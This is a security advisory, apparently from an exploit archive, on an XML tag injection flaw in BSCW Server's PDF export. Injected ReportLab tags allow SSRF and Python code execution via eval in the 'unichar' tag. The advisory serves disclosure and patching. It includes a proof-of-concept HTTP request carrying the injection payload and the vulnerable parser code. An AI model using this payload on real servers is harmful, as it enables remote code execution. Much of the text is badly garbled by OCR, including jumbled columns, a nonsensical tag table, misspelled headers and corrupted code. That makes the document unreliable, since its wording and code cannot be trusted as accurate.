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BSCW Server XML Injection

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BSCW Server versions 7.4.2 and below, 7.3.2 and below, 5.2.3 and below, 5.1.9 and below, and 5.0.11 and below suffer from an XML tag injection vulnerability.

 tags | exploit

 advisories | CVE-2021-36359

 SHA-256 | 0c56c88ea69c8de1bff4db2aee1d3ede8a753424e728d03ae82775f025eaea03

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product: vulnerable version: fixed version: CVE number: impact: homepage: found:	5.0.12, 5.1.10, 5. CVE-2021-36359	2.4, 7.3.3, 7. de/classic/ Germany) ability Lab of SEC Consul	4.3		.2	
	https://www.sec-co					
Vendor description: "A versatile system f	or any field of ann	lication				
BSCW Classic is in us offers the right solu proven system has bee numerous companies fo Source: https://www.b	e around the world. tion for every task n supporting inform r more than 20 year	With more the Turn your ic ation flow and	leas into rea	lity! Our	at	
Source: neeps.//www.b	308.307.017.02433207					
Business recommendati The vendor provides a be installed immediat	 patched version fo	r the affected	l products, w	hich shoul	d	
Vulnerability overvie	w/description:					
1) XML Tag injection The application allow to a 'PDF' file ('Sen export the content of supports different ta	d To -> File(PDF) `) the objects the fr	via the 'expo amework Report	export differ ortpdf` packa Lab is used.	ent object ge. To This libr	s	
width and or with a <pre>c strike > < super [size < sup = "pts"] <pre>font name=fo <pre>cpnn name=f </pre> <pre>contraw name <index <iinkvlink="" [name="" td="" te<=""><td>ics in Now REPLICAT. ids (width-"pts") d") (width-"pts") dffset can be empt n f/F suffix regard fstrike >- strike "pts") { /se="pts"} > < /s [rise="pts") > < /s [rise="pts"] > < /s [rise="p</td><th>ED IN PARAGRAY (offset"pts"; y meaning use ed as a fractic) < /pre> // y meaning use ed as a fractic) < /pre> // y meaning use // y meaning use // y meaning use // y meaning // y meani</th><td>y < /u > - u existing can on of the for a superacrip pri size=float existing can on of the for superacrip pri size=float existe=float e</td><td>vas line w nt size eters as u t t colorname</td><th></th><td></td></index></pre></pre></pre>	ics in Now REPLICAT. ids (width-"pts") d") (width-"pts") dffset can be empt n f/F suffix regard fstrike >- strike "pts") { /se="pts"} > < /s [rise="pts") > < /s [rise="pts"] > < /s [rise="p	ED IN PARAGRAY (offset"pts"; y meaning use ed as a fractic) < /pre> // y meaning use ed as a fractic) < /pre> // y meaning use // y meaning use // y meaning use // y meaning // y meani	y < /u > - u existing can on of the for a superacrip pri size=float existing can on of the for superacrip pri size=float existe=float e	vas line w nt size eters as u t t colorname		
The whole may	be surrounded by <	para>	tags			
The application does 'ReportLab', which al by the 'ReportLab'.	lows the user to in	ject own tags.	These tags	get evalua		
Depending on the vers (server side request (https://snyk.io/vuln	forgery) attack via /SNYK-PYTHON-REPORT	the 'img' tag LAB-1022145).	user to do a	`SSRF`		
There are also known * https://www.cyberse		-				
* https://hg.reportla	b.com/hg-public/rep	ortlab/rev/bll				
This allows an attack 'color' attribute.	er to execute `Pyth	on` code via t	he `unichar`	tag or th	e	
Proof of concept: 1) XML Tag injection One possible injectio following payload all	ows the execution o	f the `Python'	folder. Usi code `28+20	ng the		
<pre><strike>hello</strike></pre>	de is `48` (ASCII:		ts written t	o the		
POST /sec/bscw.cgi/19	17?op=_editfolder.E	ditFolder HTTF	2/1.1			

```
Host: bscw.local:8080

User-Agent: Mozilla/5.0 (XI1; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/thml.application/xhtml+xml.application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en:q=0.5
Accept-Language: grip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Lengubi: 765
Origin: http://bscw.local:8080
DN: 1
NNT: 1
Connection: keep-alive
Referer: http://bscw.local:8080/sec/bscw.cgi/19177op=editfolder.EditFolder&id=1917_208&inside_dialog=1
Cockie: MicrobloginboxIndicatorState=#SB162936799442C085D; MicroblogStidingPaneIDisplayState=#2Zhidden%22;
bscw_dimmy_cockie=openseamer; bscw_auth="ws2jskopxkc1MSIVJqlbnn0fgKqL89hB:108";
asc_bscw="45a7a8881712f2646af10d670395cb:264"
Upgrade=Insecure-Requests: 1
op-editfolder.EditFolder&inside_dialog-1&bsow_v_post-CZT8tEn21R8%2FNH6gC15aLTjerCLR9%B8id-1917_20888_selected-
cstrikebhelloc/strike>cunichar
code+=2842077.seditfolder.MameTagsDescrRate_chdescr.Chdescr_-38_editfolder.NameTagsDescrRate_-38_approval.appr
 The vulnerable code in the `ReportLab` framework:
# File: reportlab\platypus\paraparser.py
def start_unichar(self, attr):
   if 'name' in attr:
   if 'code' in attr:
   if 'code' in attr:
   ir 'code' in attr:
   ir 'self_syntaw_eror('<unichar/> invalid with both name and code attributes')
   ryver.
             try:
             try: v = unicodedata.lookup(attr['name'])
except ReyError:
self_syltax_error('<unichar/> invalid name attribute\n"%s"' % ascii(attr['name']))
                        v = int(eval(attr['code']))
v = chr(v) if isPy3 else unichr(v)
             except:

self._syntax_error('<unichar/> invalid code attribute %s' % ascii(attr['code']))

v = '\O'
Most likely there are more injection points to include own tags, but no further actions were taken to find them.
Vulnerable / tested versions:
BSCW Classic 5.2.3 has been used to identify the vulnerability.
The vendor confirmed the following versions to be also affected by the vulnerability:
BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2
 Vendor contact timeline:
Solution:
 The vendor provides a patched version for the affected and supported products, which should be installed immediately.
Additional information can be viewed at the vendor's support page.
Ensure the the used 'ReportLab' version is >= '3.5.55' to mitigiate an active exploit of these known vulnerabilities. It is also possible to disable the 'Export to PDF' function. This should be the preferred way, until the vendor provides a patch.
 $ bin/bsadmin package -d exportpdf
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